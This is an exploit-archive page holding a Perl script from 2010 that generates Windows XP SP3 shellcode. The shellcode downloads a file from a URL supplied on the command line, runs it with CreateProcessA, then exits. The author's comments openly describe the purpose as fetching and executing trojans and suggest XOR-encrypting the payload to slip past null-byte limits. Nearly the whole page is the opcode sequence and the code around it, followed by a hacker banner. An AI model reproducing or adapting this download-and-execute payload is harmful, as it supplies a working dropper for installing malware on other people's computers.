[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ShellCode WinXP SP3 SPA URLDownloadToFileA + CreateProcessA + ExitProcess
# Published : 2010-06-24
# Author : d0lc3
# Previous Title : Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes
# Next Title : Allwin WinExec cmd.exe + ExitProcess Shellcode - 195 bytes


#!/usr/bin/perl
#c0d3d by r0i aka d0lc3
#
#Exploit Title:		ShellCode WinXP SP3 SPA URLDownloadToFileA + CreateProcessA + #			ExitProcess

#Date:			24/06/2010 

#Size:			176 bytes++

#Author:		d0lc3	d0lc3x[at]gmail[dom]com

#Author Link:		http://elotrolad0.blogspot.com/

#Tested on:		Windows XP 32 bits Service Pack 3 (lang. spanish)

#Summary:
#
#Shellcode: URLDownloadToFileA + CreateProcessA + ExitProcess
#
#This script will build shellcode necessary to download file (you know trojanS? :D) and #execute it later, finally exiting process.
#Size of shellcode is 176 bytes WITHOUT URL and FILE strings length.
#Best method to avoid NULL bytes maybe is crypt shellcode (XOR simple & effective) and #add  routine to decrypt it before perform it.
#MAX URL SIZE:	255 bytes
#MAX FILE SIZE:	255 bytes
#
#
#
#
#
#

system("clear");
if($#ARGV!=0) {
	&usage();
}
else{
	&banner();
}
$URL=$ARGV[0];
$FILE=&getFileName($URL);
$leng=length($URL)+length($FILE)+176;		#176 default length of shellcode
#opcodes from OllyDBG :)
$ShellCode =
'xE8x00x00x00x00'.				#getting offsets and delta offset
'x8Dx44x24xFF'.
'x40'.
'x8Dx1Dx06x10x40x00'.
'x4B'.
'x8Bx00'.
'x2BxC3'.
'x8BxE8'.
'x33xDB'.
'x32xD2'.
'xB8xA6x10x40x00'.
'xEBx01'.
'x43'.
'x38x14x03'.
'x75xFA'.
'x89x9Dx56x32x40x00'.
'xEBx6E'.
'x5A'.
'x89x95xFFx30x40x00'.
'x8Dx9Dx56x32x40x00'.
'x8Bx1B'.
'x81xC3xA7x10x40x00'.
'xFFxE3'.
'x5A'.
'x89x95x00x30x40x00'.
'x33xC9'.
'x51'.
'x51'.
'x8Dx85xFFx30x40x00'.			
'x8Bx00'.
'x50'.						#push Url offset
'x8Dx85x00x30x40x00'.
'x8Bx00'.
'x50'.						#push file offset
'x51'.
'xB8xEDx77x4Bx44'.				#mov EAX,URLDownloadToFileA
'x40'.
'x40'.
'x8BxFF'.
'xFFxD0'.					#call EAX (URLDown...)
'x8Dx85xFEx31x40x00'.
'x50'.
'x8Dx85x0Ex32x40x00'.
'x50'.
'x33xC9'.
'x51'.
'x51'.
'x51'.
'x6Ax01'.
'x51'.
'x51'.
'x51'.
'x8Dx85xFFx30x40x00'.
'x8Bx00'.
'x50'.						#push EAX ( file offset )
'xE8xD5x12x40x7C'.				#call CreateProcessA
'x33xC9'.
'x51'.
'xE8x74xBAx41x7C'.
'x8Dx9Dx30x10x40x00'.
'xFFxD3'.
$FILE.'x00'.				#call for push FILE string offset 
'x8Dx1Dx47x10x40x00'.
'xFFxD3'.				#call for push URL string offset
$URL.'x00';

print"nnn[+]URL: ".$URL."n[+]File: ".$FILE."n[+]Length: ".$leng."n[+]Shellcode:n".$ShellCode."n";
&credits();


#Getting FileName
sub getFileName($url){
$url=shift;
$slash="/";
$FileName=substr($URL,rindex($URL,$slash)+1);
return $FileName;
}
#usage subroutine
sub usage(){
	print"[+]Usage:	perl $0	<Url_of_file>n";
	print"[+]Example:	perl $0	"http://myURL.net/myFiles/myFileToDownload.exe"n";
	&credits();
}
#mycr3di7s }:D
sub credits(){
	print"nn"."-"x10 ."> c0d3d_by_d0lc3 <"."-"x10 ."nn";
	exit(0);
}
#m0re cr3ditZ?..
sub banner(){
print q"                                                                                                      
          ++.    `    `o+-     
        -dMMMh- .+  `sNMMMd/            
      `++hMMMMN .s:+/ymMMMMMh           
      /`  hMMMM/+o     :mMMMM.          ########################################
          hMMMM`./      oMMMm           #	      SC0de Gen3rat0r	       #
       `/+mMMMM`./      mMMy`           ########################################
      +NMMMMMMM`.+    .dd+`             	        #by d0lc3#
     `No:-hMMMM.`/`-+hMMNs`              	        ##########
      ` `-hMMMM++s-`-yMMMMM/            
      -dMMMMMMM..+    -MMMMN.           
     .NmysmMMMM..o     yMMMM/           0p3n y0ur m1nd,
     .:   hMMMM..+     /MMMMo          		7h1nk fr33!!!
          hMMMM.`/`-   `NMMMd  `o`      
        -+mMMMMdhy:`    yMMMMd/+.       
     /yNNNNMMMMMy/      `hMMMN/         
   :s/-`   `./s+`/        /dy.
";

}